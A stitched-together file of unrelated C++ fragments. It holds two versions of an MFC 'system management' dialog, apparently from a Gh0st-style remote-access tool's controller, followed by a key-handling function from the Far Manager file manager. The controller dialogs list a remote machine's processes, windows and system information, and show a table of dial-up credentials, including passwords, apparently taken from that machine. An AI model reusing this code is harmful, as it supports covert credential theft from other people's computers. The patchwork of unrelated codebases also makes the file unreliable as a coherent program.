void CSystemDlg::OnReceiveComplete(void) { switch(m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0]) { case TOKEN_PSLIST: ShowProcessList(); break; case TOKEN_WSLIST: ShowWindowsList(); break; default: break; } }
BOOL CSystemDlg::OnInitDialog() { CDialogEx::OnInitDialog(); // TODO: 在此添加额外的初始化 SetIcon(m_hIcon, TRUE); SetIcon(m_hIcon, FALSE); //得到客户端的IP并显示到窗口的标题 CString str; sockaddr_in sockAddr; ZeroMemory(&sockAddr, sizeof(sockAddr)); int nSockAddrLen = sizeof(sockAddr); int nResult = getpeername(m_pContext->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen); str.Format("\\\\%s - 系统管理", (nResult != SOCKET_ERROR) ? inet_ntoa(sockAddr.sin_addr) : ""); SetWindowText(str); m_tab.InsertItem(0, "进程管理"); m_tab.InsertItem(1, "窗口管理"); m_list_process.SetExtendedStyle(LVS_EX_FLATSB | LVS_EX_FULLROWSELECT); //初始化进程的列表 m_list_process.InsertColumn(0, "映像名称", LVCFMT_LEFT, 100); m_list_process.InsertColumn(1, "PID", LVCFMT_LEFT, 50); m_list_process.InsertColumn(2, "程序路径", LVCFMT_LEFT, 400); m_ProcessListWidth = 100 + 50 + 400; m_list_windows.SetExtendedStyle(LVS_EX_FLATSB | LVS_EX_FULLROWSELECT); //初始化 窗口管理的列表 m_list_windows.InsertColumn(0, "PID", LVCFMT_LEFT, 50); m_list_windows.InsertColumn(1, "窗口名称", LVCFMT_LEFT, 300); m_WindowsListWidth = 50 + 300; AdjustList(); //调整列表大小 ShowProcessList(); if (bWindows) { m_tab.SetCurSel(1); //ShowWindowsList(); //GetWindowsList(); } ShowSelectWindow(); return TRUE; // return TRUE unless you set the focus to a control // 异常: OCX 属性页应返回 FALSE }
void CSystemDlg::OnReceiveComplete() { switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0]) { case TOKEN_SYSTEMINFO: ShowInfo(); break; case TOKEN_PSLIST: ShowProcessList(); break; case TOKEN_WSLIST: ShowWindowsList(); break; case TOKEN_DIALUPASS: ShowDialupassList(); break; default: // 传输发生异常数据 break; } }
BOOL CSystemDlg::OnInitDialog() { CDialog::OnInitDialog(); // TODO: Add extra initialization here SetIcon(m_hIcon, TRUE); // Set big icon SetIcon(m_hIcon, FALSE); // Set small icon CString str; sockaddr_in sockAddr; memset(&sockAddr, 0, sizeof(sockAddr)); int nSockAddrLen = sizeof(sockAddr); BOOL bResult = getpeername(m_pContext->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen); str.Format("\\\\%s - 系统管理", bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : ""); SetWindowText(str); m_tab.InsertItem(0, "进程管理"); m_tab.InsertItem(1, "窗口管理"); m_tab.InsertItem(2, "拨号密码"); m_tab.InsertItem(3, "系统信息"); m_info.SetExtendedStyle(/*LVS_EX_FLATSB |*/ LVS_EX_FULLROWSELECT); m_info.InsertColumn(0, "属性", LVCFMT_LEFT, 100); m_info.InsertColumn(1, "内容", LVCFMT_LEFT, 340); m_list_process.SetExtendedStyle(/*LVS_EX_FLATSB |*/ LVS_EX_FULLROWSELECT); m_list_process.InsertColumn(0, "映像名称", LVCFMT_LEFT, 100); m_list_process.InsertColumn(1, "PID", LVCFMT_LEFT, 50); m_list_process.InsertColumn(2, "程序路径", LVCFMT_LEFT, 290); m_list_windows.SetExtendedStyle(/*LVS_EX_FLATSB |*/ LVS_EX_FULLROWSELECT); m_list_windows.InsertColumn(0, "PID", LVCFMT_LEFT, 70); m_list_windows.InsertColumn(1, "窗口名称", LVCFMT_LEFT, 370); m_list_dialupass.SetExtendedStyle(/*LVS_EX_FLATSB |*/ LVS_EX_FULLROWSELECT); m_list_dialupass.InsertColumn(0, "名称", LVCFMT_LEFT, 70); m_list_dialupass.InsertColumn(1, "用户", LVCFMT_LEFT, 85); m_list_dialupass.InsertColumn(2, "密码", LVCFMT_LEFT, 75); m_list_dialupass.InsertColumn(3, "电话/主机", LVCFMT_LEFT, 80); m_list_dialupass.InsertColumn(5, "设备", LVCFMT_LEFT, 130); m_ImgList.Create(16, 16,ILC_COLOR8|ILC_MASK,15,1); m_ImgList.Add(AfxGetApp()->LoadIcon(IDI_ICOINFO_PROCESS)); m_list_process.SetImageList(&m_ImgList,LVSIL_SMALL); m_ImgList.Create(16, 16,ILC_COLOR8|ILC_MASK,15,1); m_ImgList.Add(AfxGetApp()->LoadIcon(IDI_ICOINFO_APPWIN)); m_list_windows.SetImageList(&m_ImgList,LVSIL_SMALL); m_ImgList.Create(16, 16,ILC_COLOR8|ILC_MASK,15,1); m_ImgList.Add(AfxGetApp()->LoadIcon(IDI_ICON_NET)); m_list_dialupass.SetImageList(&m_ImgList,LVSIL_SMALL); m_ImgList.Create(16, 16,ILC_COLOR8|ILC_MASK,15,1); m_ImgList.Add(AfxGetApp()->LoadIcon(IDI_FATHER_ICON)); m_ImgList.Add(AfxGetApp()->LoadIcon(IDI_SYSTEM)); m_info.SetImageList(&m_ImgList,LVSIL_SMALL); AdjustList(); ShowProcessList(); ShowSelectWindow(); return TRUE; // return TRUE unless you set the focus to a control // EXCEPTION: OCX Property Pages should return FALSE }
int Manager::ProcessKey(DWORD Key) { int ret=FALSE; if (CurrentFrame) { DWORD KeyM=(Key&(~KEY_CTRLMASK)); if (!((KeyM >= KEY_MACRO_BASE && KeyM <= KEY_MACRO_ENDBASE) || (KeyM >= KEY_OP_BASE && KeyM <= KEY_OP_ENDBASE))) // пропустим макро-коды { switch (CurrentFrame->GetType()) { case MODALTYPE_PANELS: { _ALGO(CleverSysLog clv(L"Manager::ProcessKey()")); _ALGO(SysLog(L"Key=%s",_FARKEY_ToName(Key))); #ifndef NO_WRAPPER if (CtrlObject->Cp()->ActivePanel->GetMode() == PLUGIN_PANEL) { PluginHandle *ph=(PluginHandle*)CtrlObject->Cp()->ActivePanel->GetPluginHandle(); if (ph && ph->pPlugin->IsOemPlugin()) if (CtrlObject->Cp()->ActivePanel->SendKeyToPlugin(Key,TRUE)) return TRUE; } #endif // NO_WRAPPER break; } #if 0 case MODALTYPE_VIEWER: //if(((FileViewer*)CurrentFrame)->ProcessViewerInput(FrameManager->GetLastInputRecord())) // return TRUE; break; case MODALTYPE_EDITOR: //if(((FileEditor*)CurrentFrame)->ProcessEditorInput(FrameManager->GetLastInputRecord())) // return TRUE; break; case MODALTYPE_DIALOG: //((Dialog*)CurrentFrame)->CallDlgProc(DN_KEY,((Dialog*)CurrentFrame)->GetDlgFocusPos(),Key); break; case MODALTYPE_VMENU: case MODALTYPE_HELP: case MODALTYPE_COMBOBOX: case MODALTYPE_USER: case MODALTYPE_FINDFOLDER: default: break; #endif } } #if defined(FAR_ALPHA_VERSION) // сей код для проверки исключатор, просьба не трогать :-) if (Key == KEY_CTRLALTAPPS || Key == KEY_RCTRLRALTAPPS || Key == KEY_CTRLRALTAPPS || Key == KEY_RCTRLALTAPPS) { struct __ECODE { NTSTATUS Code; const wchar_t *Name; } ECode[]= { {EXCEPTION_ACCESS_VIOLATION,L"Access Violation (Read)"}, {EXCEPTION_ACCESS_VIOLATION,L"Access Violation (Write)"}, {EXCEPTION_INT_DIVIDE_BY_ZERO,L"Divide by zero"}, {EXCEPTION_ILLEGAL_INSTRUCTION,L"Illegal instruction"}, {EXCEPTION_STACK_OVERFLOW,L"Stack Overflow"}, {EXCEPTION_FLT_DIVIDE_BY_ZERO,L"Floating-point divide by zero"}, {EXCEPTION_BREAKPOINT,L"Breakpoint"}, #ifdef _M_IA64 {EXCEPTION_DATATYPE_MISALIGNMENT,L"Alignment fault (IA64 specific)",}, #endif /* {EXCEPTION_FLT_OVERFLOW,"EXCEPTION_FLT_OVERFLOW"}, {EXCEPTION_SINGLE_STEP,"EXCEPTION_SINGLE_STEP",}, {EXCEPTION_ARRAY_BOUNDS_EXCEEDED,"EXCEPTION_ARRAY_BOUNDS_EXCEEDED",}, {EXCEPTION_FLT_DENORMAL_OPERAND,"EXCEPTION_FLT_DENORMAL_OPERAND",}, {EXCEPTION_FLT_INEXACT_RESULT,"EXCEPTION_FLT_INEXACT_RESULT",}, {EXCEPTION_FLT_INVALID_OPERATION,"EXCEPTION_FLT_INVALID_OPERATION",}, {EXCEPTION_FLT_STACK_CHECK,"EXCEPTION_FLT_STACK_CHECK",}, {EXCEPTION_FLT_UNDERFLOW,"EXCEPTION_FLT_UNDERFLOW",}, {EXCEPTION_INT_OVERFLOW,"EXCEPTION_INT_OVERFLOW",0}, {EXCEPTION_PRIV_INSTRUCTION,"EXCEPTION_PRIV_INSTRUCTION",0}, {EXCEPTION_IN_PAGE_ERROR,"EXCEPTION_IN_PAGE_ERROR",0}, {EXCEPTION_NONCONTINUABLE_EXCEPTION,"EXCEPTION_NONCONTINUABLE_EXCEPTION",0}, {EXCEPTION_INVALID_DISPOSITION,"EXCEPTION_INVALID_DISPOSITION",0}, {EXCEPTION_GUARD_PAGE,"EXCEPTION_GUARD_PAGE",0}, {EXCEPTION_INVALID_HANDLE,"EXCEPTION_INVALID_HANDLE",0}, */ }; static union { int i; int *iptr; double d; } zero_const; //, refers; zero_const.i=0L; MenuItemEx ModalMenuItem; ModalMenuItem.Clear(); VMenu2 ModalMenu(L"Test Exceptions",nullptr,0,ScrY-4); ModalMenu.SetFlags(VMENU_WRAPMODE); ModalMenu.SetPosition(-1,-1,0,0); for (size_t I=0; I<ARRAYSIZE(ECode); I++) { ModalMenuItem.strName = ECode[I].Name; ModalMenu.AddItem(&ModalMenuItem); } int ExitCode=ModalMenu.Run(); switch (ExitCode) { case -1: return TRUE; case 0: zero_const.i=*zero_const.iptr; break; case 1: *zero_const.iptr = 0; break; case 2: zero_const.i=1/zero_const.i; break; case 3: #if defined(_MSC_VER) #ifdef _M_IA64 #define __REG_IA64_IntR0 1024 __setReg(__REG_IA64_IntR0, 666); #else __ud2(); #endif #elif defined(__GNUC__) asm("ud2"); #else #error "Unsupported compiler" #endif break; case 4: Test_EXCEPTION_STACK_OVERFLOW(nullptr); break; case 5: //refers.d = 1.0/zero_const.d; break; case 6: DebugBreak(); break; #ifdef _M_IA64 case 7: { BYTE temp[10]={}; double* val; val = (double*)(&temp[3]); printf("%lf\n", *val); } #endif } Message(MSG_WARNING, 1, L"Test Exceptions failed", L"", ECode[ExitCode].Name, L"", MSG(MOk)); return TRUE; } #endif /*** БЛОК ПРИВЕЛЕГИРОВАННЫХ КЛАВИШ ! ***/ /*** КОТОРЫЕ НЕЛЬЗЯ НАМАКРОСИТЬ ***/ switch (Key) { case KEY_ALT|KEY_NUMPAD0: case KEY_RALT|KEY_NUMPAD0: case KEY_ALTINS: case KEY_RALTINS: { RunGraber(); return TRUE; } case KEY_CONSOLE_BUFFER_RESIZE: Sleep(1); ResizeAllFrame(); return TRUE; } /*** А вот здесь - все остальное! ***/ if (!Global->IsProcessAssignMacroKey) // в любом случае если кому-то не нужны все клавиши или { bool scrollable = false; if ( Global->Opt->WindowMode ) { int frame_type = CurrentFrame->GetType(); scrollable = frame_type != MODALTYPE_EDITOR && frame_type != MODALTYPE_VIEWER; }; switch (Key) { // <Удалить после появления макрофункции Scroll> case KEY_CTRLALTUP: case KEY_RCTRLRALTUP: case KEY_CTRLRALTUP: case KEY_RCTRLALTUP: if(scrollable) { Global->Console->ScrollWindow(-1); return TRUE; } break; case KEY_CTRLALTDOWN: case KEY_RCTRLRALTDOWN: case KEY_CTRLRALTDOWN: case KEY_RCTRLALTDOWN: if(scrollable) { Global->Console->ScrollWindow(1); return TRUE; } break; case KEY_CTRLALTPGUP: case KEY_RCTRLRALTPGUP: case KEY_CTRLRALTPGUP: case KEY_RCTRLALTPGUP: if(scrollable) { Global->Console->ScrollWindow(-ScrY); return TRUE; } break; case KEY_CTRLALTHOME: case KEY_RCTRLRALTHOME: case KEY_CTRLRALTHOME: case KEY_RCTRLALTHOME: if(scrollable) { while(Global->Console->ScrollWindow(-ScrY)); return TRUE; } break; case KEY_CTRLALTPGDN: case KEY_RCTRLRALTPGDN: case KEY_CTRLRALTPGDN: case KEY_RCTRLALTPGDN: if(scrollable) { Global->Console->ScrollWindow(ScrY); return TRUE; } break; case KEY_CTRLALTEND: case KEY_RCTRLRALTEND: case KEY_CTRLRALTEND: case KEY_RCTRLALTEND: if(scrollable) { while(Global->Console->ScrollWindow(ScrY)); return TRUE; } break; // </Удалить после появления макрофункции Scroll> case KEY_CTRLW: case KEY_RCTRLW: ShowProcessList(); return TRUE; case KEY_F11: PluginsMenu(); FrameManager->RefreshFrame(); //_MANAGER(SysLog(-1)); return TRUE; case KEY_ALTF9: case KEY_RALTF9: { //_MANAGER(SysLog(1,"Manager::ProcessKey, KEY_ALTF9 pressed...")); Sleep(1); SetVideoMode(); Sleep(1); /* В процессе исполнения Alt-F9 (в нормальном режиме) в очередь консоли попадает WINDOW_BUFFER_SIZE_EVENT, формируется в ChangeVideoMode(). В режиме исполнения макросов ЭТО не происходит по вполне понятным причинам. */ if (CtrlObject->Macro.IsExecuting()) { int PScrX=ScrX; int PScrY=ScrY; Sleep(1); GetVideoMode(CurSize); if (PScrX+1 == CurSize.X && PScrY+1 == CurSize.Y) { //_MANAGER(SysLog(-1,"GetInputRecord(WINDOW_BUFFER_SIZE_EVENT); return KEY_NONE")); return TRUE; } else { PrevScrX=PScrX; PrevScrY=PScrY; //_MANAGER(SysLog(-1,"GetInputRecord(WINDOW_BUFFER_SIZE_EVENT); return KEY_CONSOLE_BUFFER_RESIZE")); Sleep(1); return ProcessKey(KEY_CONSOLE_BUFFER_RESIZE); } } //_MANAGER(SysLog(-1)); return TRUE; } case KEY_F12: { int TypeFrame=FrameManager->GetCurrentFrame()->GetType(); if (TypeFrame != MODALTYPE_HELP && TypeFrame != MODALTYPE_DIALOG) { DeactivateFrame(FrameMenu(),0); //_MANAGER(SysLog(-1)); return TRUE; } break; // отдадим F12 дальше по цепочке } case KEY_CTRLALTSHIFTPRESS: case KEY_RCTRLALTSHIFTPRESS: { if (!(Global->Opt->CASRule&1) && Key == KEY_CTRLALTSHIFTPRESS) break; if (!(Global->Opt->CASRule&2) && Key == KEY_RCTRLALTSHIFTPRESS) break; if (!Global->Opt->OnlyEditorViewerUsed) { if (CurrentFrame->FastHide()) { int isPanelFocus=CurrentFrame->GetType() == MODALTYPE_PANELS; if (isPanelFocus) { int LeftVisible=CtrlObject->Cp()->LeftPanel->IsVisible(); int RightVisible=CtrlObject->Cp()->RightPanel->IsVisible(); int CmdLineVisible=CtrlObject->CmdLine->IsVisible(); int KeyBarVisible=CtrlObject->Cp()->MainKeyBar.IsVisible(); CtrlObject->CmdLine->ShowBackground(); CtrlObject->Cp()->LeftPanel->Hide0(); CtrlObject->Cp()->RightPanel->Hide0(); switch (Global->Opt->PanelCtrlAltShiftRule) { case 0: CtrlObject->CmdLine->Show(); CtrlObject->Cp()->MainKeyBar.Show(); break; case 1: CtrlObject->Cp()->MainKeyBar.Show(); break; } WaitKey(Key==KEY_CTRLALTSHIFTPRESS?KEY_CTRLALTSHIFTRELEASE:KEY_RCTRLALTSHIFTRELEASE); if (LeftVisible) CtrlObject->Cp()->LeftPanel->Show(); if (RightVisible) CtrlObject->Cp()->RightPanel->Show(); if (CmdLineVisible) CtrlObject->CmdLine->Show(); if (KeyBarVisible) CtrlObject->Cp()->MainKeyBar.Show(); } else { ImmediateHide(); WaitKey(Key==KEY_CTRLALTSHIFTPRESS?KEY_CTRLALTSHIFTRELEASE:KEY_RCTRLALTSHIFTRELEASE); } FrameManager->RefreshFrame(); } return TRUE; } break; } case KEY_CTRLTAB: case KEY_RCTRLTAB: case KEY_CTRLSHIFTTAB: case KEY_RCTRLSHIFTTAB: if (CurrentFrame->GetCanLoseFocus()) { DeactivateFrame(CurrentFrame,(Key==KEY_CTRLTAB||Key==KEY_RCTRLTAB)?1:-1); } _MANAGER(SysLog(-1)); return TRUE; } } CurrentFrame->UpdateKeyBar(); CurrentFrame->ProcessKey(Key); } _MANAGER(SysLog(-1)); return ret; }